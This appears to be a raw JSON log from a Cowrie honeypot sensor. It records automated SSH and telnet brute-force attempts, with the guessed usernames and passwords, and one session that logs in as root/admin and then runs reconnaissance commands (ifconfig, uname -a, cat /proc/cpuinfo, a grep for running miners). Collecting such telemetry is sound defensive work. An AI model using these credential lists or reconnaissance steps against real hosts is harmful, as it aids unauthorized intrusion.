{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":48216,"dst_ip":"159.203.135.109","dst_port":22,"session":"74f6c48a8da2","protocol":"ssh","message":"New connection: 94.159.110.201:48216 (159.203.135.109:22) [session: 74f6c48a8da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:00.454121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:00.457120Z","src_ip":"94.159.110.201","session":"74f6c48a8da2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:00.578629Z","src_ip":"94.159.110.201","session":"74f6c48a8da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"071288","message":"login attempt [root/071288] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:00.943664Z","src_ip":"94.159.110.201","session":"74f6c48a8da2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":39218,"dst_ip":"10.17.0.5","dst_port":22,"session":"740c2073c322","protocol":"ssh","message":"New connection: 80.66.85.226:39218 (10.17.0.5:22) [session: 740c2073c322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:01.301770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:01.306725Z","src_ip":"80.66.85.226","session":"740c2073c322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:01.395588Z","src_ip":"80.66.85.226","session":"740c2073c322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rio7777","message":"login attempt [root/rio7777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:01.683249Z","src_ip":"80.66.85.226","session":"740c2073c322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":33652,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ec9d1c547f6","protocol":"ssh","message":"New connection: 162.214.22.174:33652 (159.203.135.109:22) [session: 2ec9d1c547f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:01.842665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:01.846826Z","src_ip":"162.214.22.174","session":"2ec9d1c547f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:01.936806Z","src_ip":"162.214.22.174","session":"2ec9d1c547f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:02.069741Z","src_ip":"94.159.110.201","session":"74f6c48a8da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kathleen","password":"Tezos@S3cur3#P@ssw0rd","message":"login attempt [kathleen/Tezos@S3cur3#P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:02.204472Z","src_ip":"162.214.22.174","session":"2ec9d1c547f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:02.775722Z","src_ip":"80.66.85.226","session":"740c2073c322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:03.296229Z","src_ip":"162.214.22.174","session":"2ec9d1c547f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.22840142250061,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:14.302578Z","src_ip":"170.64.224.25","session":"fc349887ace9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45586,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c3cbe1501a6","protocol":"telnet","message":"New connection: 170.64.224.25:45586 (159.203.135.109:23) [session: 5c3cbe1501a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:18.877450Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":58188,"dst_ip":"159.203.135.109","dst_port":22,"session":"503c62c746fc","protocol":"ssh","message":"New connection: 160.187.174.22:58188 (159.203.135.109:22) [session: 503c62c746fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:24.581134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:24.585103Z","src_ip":"160.187.174.22","session":"503c62c746fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:24.827557Z","src_ip":"160.187.174.22","session":"503c62c746fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"abc123","message":"login attempt [www/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:25.556393Z","src_ip":"160.187.174.22","session":"503c62c746fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:26.803791Z","src_ip":"160.187.174.22","session":"503c62c746fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":56806,"dst_ip":"159.203.135.109","dst_port":22,"session":"39f8a23c5cf2","protocol":"ssh","message":"New connection: 43.160.200.19:56806 (159.203.135.109:22) [session: 39f8a23c5cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:36.783907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:36.787813Z","src_ip":"43.160.200.19","session":"39f8a23c5cf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:37.031956Z","src_ip":"43.160.200.19","session":"39f8a23c5cf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"234567","message":"login attempt [root/234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:38.041285Z","src_ip":"43.160.200.19","session":"39f8a23c5cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:39.288403Z","src_ip":"43.160.200.19","session":"39f8a23c5cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58440,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e0464e962ca","protocol":"telnet","message":"New connection: 170.64.224.25:58440 (159.203.135.109:23) [session: 1e0464e962ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:42.314286Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.140.161.61","src_port":46492,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d514e163943","protocol":"ssh","message":"New connection: 115.140.161.61:46492 (159.203.135.109:22) [session: 9d514e163943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:42.997993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:43.002184Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:43.203866Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:44.464112Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:45.669634Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:46.108246Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:46.110891Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:46.113424Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:46.318436Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:46.760311Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:46.763054Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:46.967704Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:47.411697Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:47.414398Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:47.619711Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:48.053516Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:48.056045Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":3437,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:48.275700Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:48.720012Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:48.723140Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:48.929410Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:49.369460Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
